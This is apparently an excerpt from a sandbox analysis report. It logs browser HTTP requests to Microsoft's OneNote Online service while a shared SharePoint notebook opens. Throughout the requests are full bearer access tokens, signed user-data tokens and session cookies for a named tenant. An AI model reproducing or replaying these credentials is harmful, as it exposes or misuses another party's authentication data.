Source: global traffic	HTTP traffic detected: GET /o/proofing.ashx?WOPIsrc=https%3A%2F%2Famdat%2Dmy%2Esharepoint%2Ecom%2Fpersonal%2Fmai%5Famd%5Fat%2F%5Fvti%5Fbin%2Fwopi%2Eashx%2Ffolders%2F5eecf2803334476f8f522886d4389084&access_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkRhREFmalFRbXB5T1h4MlJyS19XNWx2b0xaNCJ9%2EeyJhdWQiOiJ3b3BpL2FtZGF0LW15LnNoYXJlcG9pbnQuY29tQGNjZGM0ZWJlLTE4ODgtNDk5Yi05ZTczLWJiYmQ1NjAxNzllZCIsImlzcyI6IjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMEA5MDE0MDEyMi04NTE2LTExZTEtOGVmZi00OTMwNDkyNDAxOWIiLCJuYmYiOiIxNzIxMTI4MDEyIiwiZXhwIjoiMTcyMTE2NDAxMiIsIm5hbWVpZCI6IjAjLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzciLCJuaWkiOiJtaWNyb3NvZnQuc2hhcmVwb2ludCIsImlzdXNlciI6InRydWUiLCJjYWNoZWtleSI6IjBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzciLCJzaGFyaW5naWQiOiJwQVoyRnNMaFBVbXZBVHNSZnowUFZRIiwiaXNsb29wYmFjayI6IlRydWUiLCJhcHBjdHgiOiI1ZWVjZjI4MDMzMzQ0NzZmOGY1MjI4ODZkNDM4OTA4NDtNTUlvZFR1azJ4WnA0U0xSMlJUN3FPR3EzbE09O0RlZmF1bHQ7MWFiM2VkNGUwMTQwNGE2Yzg5YzY2N2Y5ZTViYWVmZTc7O1RydWU7Ozs1MTI7NjJkNjNjYTEtMjAyOS05MDAwLTdlNGItMWMxNDBlZjM1MDI1IiwiZmlkIjoiMTg5OTIwIn0%2EycWYKm%2DN30k6gmgtXeEx0gFSYqTJyTCMks%2D67ZdJ03a093akOzd8ox3pWTETnGBdwkbeLNmmiGlq0ZQ5pICKwPlVCTx64ux5foMmILxDbSl9Ba9FmLky9BZnYYunhwTZQ4HVu%5Fnxw0yal7%5FsXAAaL%5FKsKuuKukcM1ZM5KFePBonVEQY%2D%2Dh7DJ4jXsgpCXct0mMz09wB2ECdXrH5nA41iS9KNbZI8WaYB%5FA%5FUKspaN1SLV5HGJyXUZV89ihucwtB6%5F4xDmOVy1%2Dz226h15rBdGFNU9Zyr6uYvX7XyepaZAOCdTYHtrgsQkvh49BZSbTrrs%2D9ElCvDmnbGyx3OrA62DQ&access_token_ttl=1721164012481&apitype=LanguageInfo HTTP/1.1Host: euc-onenote.officeapps.live.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PrivNote=-1
Source: global traffic	HTTP traffic detected: GET /o/error/error.html?aspxerrorpath=/o/null&DataUrlEnabled=true HTTP/1.1Host: euc-onenote.officeapps.live.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PrivNote=-1
Source: global traffic	HTTP traffic detected: GET /o/proofing.ashx?WOPIsrc=https%3A%2F%2Famdat%2Dmy%2Esharepoint%2Ecom%2Fpersonal%2Fmai%5Famd%5Fat%2F%5Fvti%5Fbin%2Fwopi%2Eashx%2Ffolders%2F5eecf2803334476f8f522886d4389084&access_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkRhREFmalFRbXB5T1h4MlJyS19XNWx2b0xaNCJ9%2EeyJhdWQiOiJ3b3BpL2FtZGF0LW15LnNoYXJlcG9pbnQuY29tQGNjZGM0ZWJlLTE4ODgtNDk5Yi05ZTczLWJiYmQ1NjAxNzllZCIsImlzcyI6IjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMEA5MDE0MDEyMi04NTE2LTExZTEtOGVmZi00OTMwNDkyNDAxOWIiLCJuYmYiOiIxNzIxMTI4MDEyIiwiZXhwIjoiMTcyMTE2NDAxMiIsIm5hbWVpZCI6IjAjLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzciLCJuaWkiOiJtaWNyb3NvZnQuc2hhcmVwb2ludCIsImlzdXNlciI6InRydWUiLCJjYWNoZWtleSI6IjBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzciLCJzaGFyaW5naWQiOiJwQVoyRnNMaFBVbXZBVHNSZnowUFZRIiwiaXNsb29wYmFjayI6IlRydWUiLCJhcHBjdHgiOiI1ZWVjZjI4MDMzMzQ0NzZmOGY1MjI4ODZkNDM4OTA4NDtNTUlvZFR1azJ4WnA0U0xSMlJUN3FPR3EzbE09O0RlZmF1bHQ7MWFiM2VkNGUwMTQwNGE2Yzg5YzY2N2Y5ZTViYWVmZTc7O1RydWU7Ozs1MTI7NjJkNjNjYTEtMjAyOS05MDAwLTdlNGItMWMxNDBlZjM1MDI1IiwiZmlkIjoiMTg5OTIwIn0%2EycWYKm%2DN30k6gmgtXeEx0gFSYqTJyTCMks%2D67ZdJ03a093akOzd8ox3pWTETnGBdwkbeLNmmiGlq0ZQ5pICKwPlVCTx64ux5foMmILxDbSl9Ba9FmLky9BZnYYunhwTZQ4HVu%5Fnxw0yal7%5FsXAAaL%5FKsKuuKukcM1ZM5KFePBonVEQY%2D%2Dh7DJ4jXsgpCXct0mMz09wB2ECdXrH5nA41iS9KNbZI8WaYB%5FA%5FUKspaN1SLV5HGJyXUZV89ihucwtB6%5F4xDmOVy1%2Dz226h15rBdGFNU9Zyr6uYvX7XyepaZAOCdTYHtrgsQkvh49BZSbTrrs%2D9ElCvDmnbGyx3OrA62DQ&access_token_ttl=1721164012481 HTTP/1.1Host: euc-onenote.officeapps.live.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PrivNote=-1
Source: global traffic	HTTP traffic detected: GET /o/OneNoteS2SHandler.ashx?action=eduproperties&notebookid=1-5EECF280-3334-476F-8F52-2886D4389084&isteacher=false&isstudent=false&WOPIsrc=https%3A%2F%2Famdat%2Dmy%2Esharepoint%2Ecom%2Fpersonal%2Fmai%5Famd%5Fat%2F%5Fvti%5Fbin%2Fwopi%2Eashx%2Ffolders%2F5eecf2803334476f8f522886d4389084&access_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkRhREFmalFRbXB5T1h4MlJyS19XNWx2b0xaNCJ9%2EeyJhdWQiOiJ3b3BpL2FtZGF0LW15LnNoYXJlcG9pbnQuY29tQGNjZGM0ZWJlLTE4ODgtNDk5Yi05ZTczLWJiYmQ1NjAxNzllZCIsImlzcyI6IjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMEA5MDE0MDEyMi04NTE2LTExZTEtOGVmZi00OTMwNDkyNDAxOWIiLCJuYmYiOiIxNzIxMTI4MDEyIiwiZXhwIjoiMTcyMTE2NDAxMiIsIm5hbWVpZCI6IjAjLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzciLCJuaWkiOiJtaWNyb3NvZnQuc2hhcmVwb2ludCIsImlzdXNlciI6InRydWUiLCJjYWNoZWtleSI6IjBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzciLCJzaGFyaW5naWQiOiJwQVoyRnNMaFBVbXZBVHNSZnowUFZRIiwiaXNsb29wYmFjayI6IlRydWUiLCJhcHBjdHgiOiI1ZWVjZjI4MDMzMzQ0NzZmOGY1MjI4ODZkNDM4OTA4NDtNTUlvZFR1azJ4WnA0U0xSMlJUN3FPR3EzbE09O0RlZmF1bHQ7MWFiM2VkNGUwMTQwNGE2Yzg5YzY2N2Y5ZTViYWVmZTc7O1RydWU7Ozs1MTI7NjJkNjNjYTEtMjAyOS05MDAwLTdlNGItMWMxNDBlZjM1MDI1IiwiZmlkIjoiMTg5OTIwIn0%2EycWYKm%2DN30k6gmgtXeEx0gFSYqTJyTCMks%2D67ZdJ03a093akOzd8ox3pWTETnGBdwkbeLNmmiGlq0ZQ5pICKwPlVCTx64ux5foMmILxDbSl9Ba9FmLky9BZnYYunhwTZQ4HVu%5Fnxw0yal7%5FsXAAaL%5FKsKuuKukcM1ZM5KFePBonVEQY%2D%2Dh7DJ4jXsgpCXct0mMz09wB2ECdXrH5nA41iS9KNbZI8WaYB%5FA%5FUKspaN1SLV5HGJyXUZV89ihucwtB6%5F4xDmOVy1%2Dz226h15rBdGFNU9Zyr6uYvX7XyepaZAOCdTYHtrgsQkvh49BZSbTrrs%2D9ElCvDmnbGyx3OrA62DQ&access_token_ttl=1721164012481 HTTP/1.1Host: euc-onenote.officeapps.live.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"X-WacFrontEnd: DU2PEPF0001783EX-OfficeVersion: 16.0.17903.41012X-Key: t/ISjT+shfkeAOTZkqEdojcTLfAeU4PnRUQRan5c91c=;DOqqcDz/2J80pgnNxU7yv8D6WrAB+Id46HGPnmnMXIM=,638567248150062543X-WacUserAgent: MSWACONSyncX-Requested-With: XMLHttpRequestX-xhr: 1sec-ch-ua-platform: "Windows"haep: 3X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05fOrgIdSiteUrl: https%3A%2F%2Famdat%2Dmy%2Esharepoint%2Ecom%2Fpersonal%2Fmai%5Famd%5Fatsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36X-UserType: WOPIX-IsCoauthSession: trueX-WacCluster: GEU3Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://euc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=de-DE&wopisrc=https%3A%2F%2Famdat-my.sharepoint.com%2Fpersonal%2Fmai_amd_at%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F5eecf2803334476f8f522886d4389084&wdenableroaming=1&mscc=1&wdodb=1&hid=62D63CA1-2029-9000-7E4B-1C140EF35025.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Famdat-my.sharepoint.com%
Source: global traffic	HTTP traffic detected: GET /o/OneNoteS2SHandler.ashx?action=eduproperties&notebookid=1-5EECF280-3334-476F-8F52-2886D4389084&isteacher=false&isstudent=false&WOPIsrc=https%3A%2F%2Famdat%2Dmy%2Esharepoint%2Ecom%2Fpersonal%2Fmai%5Famd%5Fat%2F%5Fvti%5Fbin%2Fwopi%2Eashx%2Ffolders%2F5eecf2803334476f8f522886d4389084&access_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkRhREFmalFRbXB5T1h4MlJyS19XNWx2b0xaNCJ9%2EeyJhdWQiOiJ3b3BpL2FtZGF0LW15LnNoYXJlcG9pbnQuY29tQGNjZGM0ZWJlLTE4ODgtNDk5Yi05ZTczLWJiYmQ1NjAxNzllZCIsImlzcyI6IjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMEA5MDE0MDEyMi04NTE2LTExZTEtOGVmZi00OTMwNDkyNDAxOWIiLCJuYmYiOiIxNzIxMTI4MDEyIiwiZXhwIjoiMTcyMTE2NDAxMiIsIm5hbWVpZCI6IjAjLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzciLCJuaWkiOiJtaWNyb3NvZnQuc2hhcmVwb2ludCIsImlzdXNlciI6InRydWUiLCJjYWNoZWtleSI6IjBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzciLCJzaGFyaW5naWQiOiJwQVoyRnNMaFBVbXZBVHNSZnowUFZRIiwiaXNsb29wYmFjayI6IlRydWUiLCJhcHBjdHgiOiI1ZWVjZjI4MDMzMzQ0NzZmOGY1MjI4ODZkNDM4OTA4NDtNTUlvZFR1azJ4WnA0U0xSMlJUN3FPR3EzbE09O0RlZmF1bHQ7MWFiM2VkNGUwMTQwNGE2Yzg5YzY2N2Y5ZTViYWVmZTc7O1RydWU7Ozs1MTI7NjJkNjNjYTEtMjAyOS05MDAwLTdlNGItMWMxNDBlZjM1MDI1IiwiZmlkIjoiMTg5OTIwIn0%2EycWYKm%2DN30k6gmgtXeEx0gFSYqTJyTCMks%2D67ZdJ03a093akOzd8ox3pWTETnGBdwkbeLNmmiGlq0ZQ5pICKwPlVCTx64ux5foMmILxDbSl9Ba9FmLky9BZnYYunhwTZQ4HVu%5Fnxw0yal7%5FsXAAaL%5FKsKuuKukcM1ZM5KFePBonVEQY%2D%2Dh7DJ4jXsgpCXct0mMz09wB2ECdXrH5nA41iS9KNbZI8WaYB%5FA%5FUKspaN1SLV5HGJyXUZV89ihucwtB6%5F4xDmOVy1%2Dz226h15rBdGFNU9Zyr6uYvX7XyepaZAOCdTYHtrgsQkvh49BZSbTrrs%2D9ElCvDmnbGyx3OrA62DQ&access_token_ttl=1721164012481 HTTP/1.1Host: euc-onenote.officeapps.live.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"X-WacFrontEnd: DU2PEPF0001783EX-OfficeVersion: 16.0.17903.41012X-Key: t/ISjT+shfkeAOTZkqEdojcTLfAeU4PnRUQRan5c91c=;DOqqcDz/2J80pgnNxU7yv8D6WrAB+Id46HGPnmnMXIM=,638567248150062543X-WacUserAgent: MSWACONSyncX-Requested-With: XMLHttpRequestX-xhr: 1sec-ch-ua-platform: "Windows"haep: 3X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05fOrgIdSiteUrl: https%3A%2F%2Famdat%2Dmy%2Esharepoint%2Ecom%2Fpersonal%2Fmai%5Famd%5Fatsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36X-UserType: WOPIX-IsCoauthSession: trueX-WacCluster: GEU3Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://euc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=de-DE&wopisrc=https%3A%2F%2Famdat-my.sharepoint.com%2Fpersonal%2Fmai_amd_at%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F5eecf2803334476f8f522886d4389084&wdenableroaming=1&mscc=1&wdodb=1&hid=62D63CA1-2029-9000-7E4B-1C140EF35025.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Famdat-my.sharepoint.com%
Source: global traffic	HTTP traffic detected: GET /o/RemoteUls.ashx?build=16.0.17903.41012&waccluster=GEU3&usid=5ed32588-7623-377d-905c-f0003950d05f HTTP/1.1Host: euc-onenote.officeapps.live.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PrivNote=-1
Source: global traffic	HTTP traffic detected: GET /o/proofing.ashx?WOPIsrc=https%3A%2F%2Famdat%2Dmy%2Esharepoint%2Ecom%2Fpersonal%2Fmai%5Famd%5Fat%2F%5Fvti%5Fbin%2Fwopi%2Eashx%2Ffolders%2F5eecf2803334476f8f522886d4389084&access_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkRhREFmalFRbXB5T1h4MlJyS19XNWx2b0xaNCJ9%2EeyJhdWQiOiJ3b3BpL2FtZGF0LW15LnNoYXJlcG9pbnQuY29tQGNjZGM0ZWJlLTE4ODgtNDk5Yi05ZTczLWJiYmQ1NjAxNzllZCIsImlzcyI6IjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMEA5MDE0MDEyMi04NTE2LTExZTEtOGVmZi00OTMwNDkyNDAxOWIiLCJuYmYiOiIxNzIxMTI4MDEyIiwiZXhwIjoiMTcyMTE2NDAxMiIsIm5hbWVpZCI6IjAjLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzciLCJuaWkiOiJtaWNyb3NvZnQuc2hhcmVwb2ludCIsImlzdXNlciI6InRydWUiLCJjYWNoZWtleSI6IjBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzciLCJzaGFyaW5naWQiOiJwQVoyRnNMaFBVbXZBVHNSZnowUFZRIiwiaXNsb29wYmFjayI6IlRydWUiLCJhcHBjdHgiOiI1ZWVjZjI4MDMzMzQ0NzZmOGY1MjI4ODZkNDM4OTA4NDtNTUlvZFR1azJ4WnA0U0xSMlJUN3FPR3EzbE09O0RlZmF1bHQ7MWFiM2VkNGUwMTQwNGE2Yzg5YzY2N2Y5ZTViYWVmZTc7O1RydWU7Ozs1MTI7NjJkNjNjYTEtMjAyOS05MDAwLTdlNGItMWMxNDBlZjM1MDI1IiwiZmlkIjoiMTg5OTIwIn0%2EycWYKm%2DN30k6gmgtXeEx0gFSYqTJyTCMks%2D67ZdJ03a093akOzd8ox3pWTETnGBdwkbeLNmmiGlq0ZQ5pICKwPlVCTx64ux5foMmILxDbSl9Ba9FmLky9BZnYYunhwTZQ4HVu%5Fnxw0yal7%5FsXAAaL%5FKsKuuKukcM1ZM5KFePBonVEQY%2D%2Dh7DJ4jXsgpCXct0mMz09wB2ECdXrH5nA41iS9KNbZI8WaYB%5FA%5FUKspaN1SLV5HGJyXUZV89ihucwtB6%5F4xDmOVy1%2Dz226h15rBdGFNU9Zyr6uYvX7XyepaZAOCdTYHtrgsQkvh49BZSbTrrs%2D9ElCvDmnbGyx3OrA62DQ&access_token_ttl=1721164012481 HTTP/1.1Host: euc-onenote.officeapps.live.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PrivNote=-1
Source: global traffic	HTTP traffic detected: GET /afhs/CloudPolicySettings.ashx HTTP/1.1Host: euc-onenote.officeapps.live.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"X-WacFrontEnd: DU2PEPF0001783EX-OfficeVersion: 16.0.17903.41012X-Key: t/ISjT+shfkeAOTZkqEdojcTLfAeU4PnRUQRan5c91c=;DOqqcDz/2J80pgnNxU7yv8D6WrAB+Id46HGPnmnMXIM=,638567248150062543X-WacUserAgent: MSWACONSyncx-OcpsIsEnabled: trueX-Requested-With: XMLHttpRequestX-xhr: 1x-CacheIsEnabled: falsex-LicensingAADIdIsEnabled: falsesec-ch-ua-platform: "Windows"haep: 3X-AccessToken: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkRhREFmalFRbXB5T1h4MlJyS19XNWx2b0xaNCJ9.eyJhdWQiOiJ3b3BpL2FtZGF0LW15LnNoYXJlcG9pbnQuY29tQGNjZGM0ZWJlLTE4ODgtNDk5Yi05ZTczLWJiYmQ1NjAxNzllZCIsImlzcyI6IjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMEA5MDE0MDEyMi04NTE2LTExZTEtOGVmZi00OTMwNDkyNDAxOWIiLCJuYmYiOiIxNzIxMTI4MDEyIiwiZXhwIjoiMTcyMTE2NDAxMiIsIm5hbWVpZCI6IjAjLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzciLCJuaWkiOiJtaWNyb3NvZnQuc2hhcmVwb2ludCIsImlzdXNlciI6InRydWUiLCJjYWNoZWtleSI6IjBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzciLCJzaGFyaW5naWQiOiJwQVoyRnNMaFBVbXZBVHNSZnowUFZRIiwiaXNsb29wYmFjayI6IlRydWUiLCJhcHBjdHgiOiI1ZWVjZjI4MDMzMzQ0NzZmOGY1MjI4ODZkNDM4OTA4NDtNTUlvZFR1azJ4WnA0U0xSMlJUN3FPR3EzbE09O0RlZmF1bHQ7MWFiM2VkNGUwMTQwNGE2Yzg5YzY2N2Y5ZTViYWVmZTc7O1RydWU7Ozs1MTI7NjJkNjNjYTEtMjAyOS05MDAwLTdlNGItMWMxNDBlZjM1MDI1IiwiZmlkIjoiMTg5OTIwIn0.ycWYKm-N30k6gmgtXeEx0gFSYqTJyTCMks-67ZdJ03a093akOzd8ox3pWTETnGBdwkbeLNmmiGlq0ZQ5pICKwPlVCTx64ux5foMmILxDbSl9Ba9FmLky9BZnYYunhwTZQ4HVu_nxw0yal7_sXAAaL_KsKuuKukcM1ZM5KFePBonVEQY--h7DJ4jXsgpCXct0mMz09wB2ECdXrH5nA41iS9KNbZI8WaYB_A_UKspaN1SLV5HGJyXUZV89ihucwtB6_4xDmOVy1-z226h15rBdGFNU9Zyr6uYvX7XyepaZAOCdTYHtrgsQkvh49BZSbTrrs-9ElCvDmnbGyx3OrA62DQX-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05fX-AccessTokenTtl: 1721164012481sec-ch-ua-mobile: ?0x-UserDataSignature: eyJhbGciOiJSUzI1NiIsImtpZCI6IjdFNEUzOEQ5QjM4RkExRDgxQTMzOEJBNTQxNzNFM0Y5OTE2OEREQzQiLCJ4NXQiOiJmazQ0MmJPUG9kZ2FNNHVsUVhQai1aRm8zY1EiLCJ0eXAiOiJKV1QifQ.eyJVUE4iOiJ1cm46c3BvOmFub24jMTJiZWIzMGIxYWM0MmM4ODc4ZmVlYjVmZmVjY2UxY2IxMmEzOTAzOTE4YmFjMGYyMDMwZTllZDMxMzVlYWRjNyIsIlBVSUQiOiIiLCJUZW5hbnRJZCI6ImNjZGM0ZWJlLTE4ODgtNDk5Yi05ZTczLWJiYmQ1NjAxNzllZCIsIkZpbGVUZW5hbnRJZCI6IiIsIklzQ29uc3VtZXJVc2VyIjoiRmFsc2UiLCJJc0Fub255bW91c1VzZXIiOiJUcnVlIiwiSG9zdEVuYWJsZWRGZWF0dXJlcyI6IltdIiwiSXNPMzY1Q29uc3VtZXJIb3N0IjoiRmFsc2UiLCJJc08zNjVDb21tZXJjaWFsSG9zdCI6IlRydWUiLCJVc2VyT2JqZWN0SWQiOiIiLCJMb2NhbFN0b3JhZ2VLZXkiOiJTY1Z1MUorUGdjeGY1OE5vOXhLUkF3OWN1WWIrRjlPejdneDdpbjR5c1NNPSIsImF1ZCI6IldBQ0FGSFMiLCJuYmYiOjE3MjExMjgwMTUsImV4cCI6MTcyMTEyOTMzNSwiaWF0IjoxNzIxMTI4MDE1LCJpc3MiOiJXQUMifQ.jQquMpxOOegHqIvE1fOOTvflbeg7CtuYBdzputOm8oGhghiqa5Nd7zuIQHnM1HDHSGUnbAN9JgcmKwEi-rmqRwm6n06gfz8J_ahV18rt6nCcgY796ZxDIMDj8tfoSWDEzs6pH-WETzpkw60i1wJy7cFsN5uFAaHdcJ3
Source: global traffic	HTTP traffic detected: GET /afhs/CloudPolicySettings.ashx HTTP/1.1Host: euc-onenote.officeapps.live.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PrivNote=-1; WacUPToggleState=%7B%22CCS%22%3A0%7D
Source: global traffic	HTTP traffic detected: GET /o/App_Scripts/Acl/Acl1033.js HTTP/1.1Host: euc-onenote.officeapps.live.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://euc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=de-DE&wopisrc=https%3A%2F%2Famdat-my.sharepoint.com%2Fpersonal%2Fmai_amd_at%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F5eecf2803334476f8f522886d4389084&wdenableroaming=1&mscc=1&wdodb=1&hid=62D63CA1-2029-9000-7E4B-1C140EF35025.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Famdat-my.sharepoint.com%22%2C%22pmshare%22%3Atrue%7D&wdorigin=Sharing.ClientRedirect&wdhostclicktime=1721128010390&jsapi=1&jsapiver=v1&newsession=1&corrid=5ed32588-7623-377d-905c-f0003950d05f&usid=5ed32588-7623-377d-905c-f0003950d05f&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&uihit=docaspx&muv=1&wdredirectionreason=Force_SingleStepBoot&rct=Normal&ctp=LeastProtectedAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; PrivNote=-1; WacUPToggleState=%7B%22CCS%22%3A0%7D; GEU3-ARRAffinity=427151a1bb5194f6ee28fc34ee6b87dc860f0de780812c674ff314cecd665996
Source: global traffic	HTTP traffic detected: GET /o/RemoteTelemetry.ashx?usid=5ed32588-7623-377d-905c-f0003950d05f&build=16.0.17903.41012&waccluster=GEU3 HTTP/1.1Host: euc-onenote.officeapps.live.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PrivNote=-1; WacUPToggleState=%7B%22CCS%22%3A0%7D; GEU3-ARRAffinity=3824fc47b554b2b24869d64641c3fa60d43e388049fd24ee5d1ccfc639d3528c
